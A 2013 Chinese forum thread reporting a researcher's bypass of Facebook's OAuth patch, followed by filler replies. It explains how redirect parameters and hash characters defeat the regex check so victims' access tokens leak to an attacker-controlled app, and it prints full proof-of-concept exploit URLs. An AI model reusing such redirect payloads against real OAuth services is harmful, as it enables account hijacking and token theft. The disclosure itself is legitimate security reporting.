查看: 2192|回复: 25

Facebook爆出新的OAuth漏洞

[复制链接]
发表于 2013-3-16 04:18:37 | 显示全部楼层 |阅读模式

还记得上次Facebook的OAuth漏洞吗?该漏洞允许攻击者不需要与受害者有任何互动即可劫持账户,这个漏洞是由白帽子Nir Goldshlager发现的。在这之后,Facebook安全团队修复了这个漏洞。

昨天Goldshlager绕过Facebook安全团队的补丁,再次攻破了Facebook的OAuth的机制。他在一篇博客中记录了完整的入侵Facebook的过程。

OAuth URL包含两个参数“redirect_uri”和”next”,利用在上一个补丁中使用正则表达式来保证安全性(%23xxx!,%23/xxx,/)” 。

而Goldshlager发现”next”参数可以使facebook.facebook.com域名为有效链接,并可利用多种hash符号可以绕过正则表达式的保护。他利用 facebook.com/l.php 文件(用于重定向用户到外部链接)使受害者重定向到自己的恶意Facebook应用程序,然后攻击者的恶意应用程序会记录用户的token,从而实现劫持。

重定向过程中会发出一个警告,不过不用担心,他发现使用5个字节的数据能够绕过此警告消息

例如:

https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs (他使用的是5个字节的数据)

最后,受害者重定向用户到外部网站(files.nirgoldshlager.com,攻击者创建的服务器)的恶意Facebook应用程序,从而受害者的access_token的将被记录下来。利用这个Facebook的OAuth的漏洞,可以劫持任何Facebook账户。

POC:

Firefox:

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token

其他浏览器:

https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1
发表于 2013-3-20 14:52:52 | 显示全部楼层
几头雾水…  
发表于 2013-3-22 23:05:19 | 显示全部楼层
dddddddddddddd  
发表于 2013-3-23 03:20:57 | 显示全部楼层
支持你加分  
发表于 2013-3-24 07:03:38 | 显示全部楼层
我不是随便的人。我随便起来不是人  
发表于 2013-3-25 06:24:02 | 显示全部楼层
原来这样也可以  
发表于 2013-3-25 16:55:51 | 显示全部楼层
支持你就顶你  
发表于 2013-3-27 11:56:22 | 显示全部楼层
声明一下:本人看贴和回贴的规则,好贴必看,精华贴必回。  
发表于 2013-3-27 21:27:57 | 显示全部楼层
我来了~~~~~~~~~ 闪人~~~~~~~~~~~~~~~~  
发表于 2013-3-28 05:46:22 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
高级模式
B Color Image Link Quote Code Smilies

本版积分规则